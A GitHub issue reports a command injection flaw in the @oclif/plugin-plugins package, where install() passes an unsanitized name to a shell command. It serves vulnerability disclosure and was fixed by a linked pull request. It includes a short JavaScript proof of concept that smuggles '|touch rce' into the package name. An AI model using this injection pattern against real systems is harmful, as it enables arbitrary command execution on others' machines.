Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Potential command injection vulnerability in plugin-plugins #594

Closed
xiaofen9 opened this issue Apr 24, 2023 · 1 comment · Fixed by #597
Closed

Potential command injection vulnerability in plugin-plugins #594

xiaofen9 opened this issue Apr 24, 2023 · 1 comment · Fixed by #597

Comments

@xiaofen9
Copy link

Hi,

We would like to report a potential security vulnerability.
The bug is introduced because the package-exported method install() fails to sanitize its parameter name and let it flow into a sensitive command execution API.
In this way, attackers can specify a malformed package name to inject malicious commands.

Here is the proof of concept.

const lib = require('@oclif/plugin-plugins');

var config = {
 dataDir: '', 
 pjson: {
 oclif: {
 scope: ' ' }}
}
var a = new lib.default(config)
a.install(' |touch rce')// a file named rce will be created

Please consider fixing it. thanks!

@git2gus
Copy link

git2gus bot commented Apr 25, 2023

This issue has been linked to a new work item: W-13099057

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants